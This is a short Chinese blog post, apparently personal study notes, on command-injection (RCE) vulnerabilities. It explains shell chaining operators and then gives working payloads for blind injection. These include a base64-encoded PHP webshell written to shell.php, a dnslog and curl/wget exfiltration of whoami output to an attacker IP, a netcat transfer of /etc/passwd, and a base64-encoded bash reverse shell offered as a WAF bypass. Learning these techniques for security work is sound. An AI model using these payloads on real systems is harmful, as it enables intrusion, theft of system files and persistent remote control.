15 常见漏洞 rce

命令执行漏洞是脚本语言在执行系统命令中造成的

应用程序将用户的输入作为系统命令参数拼接到命令行中,在没有过滤的情况下

就会造成命令执行漏洞

 

这里介绍几种命令执行的过程中的符号

;(分号)

按照从左到右的顺序进行执行,当一条命令执行失败时,不印象另一条命令的执行

| 管道符

将一个命令的标准输出管理为另外一个命令的标准输入

&后台任务符号

按照顺序从左到右被执行,此符号的作用是让两个命令同时执行

&& 逻辑与

前一个执行成功后后面一个才执行

|| 逻辑或

前一个执行失败后 后一个才开始执行

`` 反引号

但一个命令被解析时,它首先会执行反引号之间的操作

然后再执行整个命令

$(command) 命令执行

当反引号被过滤或者被编码时可以使用这个命令替换

 

无回显时的外通信技巧

利用管道符写入SHELL

若是存在权限写入shell

echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php
 
dnslog
dnslog时一个解析平台,在无回显的情况下,通过访问dnslog,dnslog会把你的头文件记录下来
我们可以利用反引号``得到执行的系统命令
ping -c 4 127.0.0.1| ping `whoami`.3el05z.dnslog.cn

 

burpsuite burpcollaborator 测试误会先

测试的原理和dnslog一样

 

 得到一个类似于dns的地址

也可以通过访问返回执行的命令信息

 

利用日志测试无回显

整一个小服务器

监听端口

让含有漏洞的网页执行curl或者wget命令访问

ping -c 4 ||curl http://192.168.0.133/?`whoami`
ping -c 4 ||wget http://192.168.0.133/?`whoami`
 
netcat
nc -lp 9999 >passwd
本地执行命令
nc 192.168.0.133 9999 </etc/passwd
会在查看远程服务器生成 passwd 文件
 
nc返回shell
也可以利用管道符和base编码绕过waf
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTMzLzgwODAgMD4mMQ=="|base64 -d|bash
 
 
 
 
 
 
 
posted @ 2022-03-05 19:34  r0nGer  阅读(261)  评论(0)    收藏  举报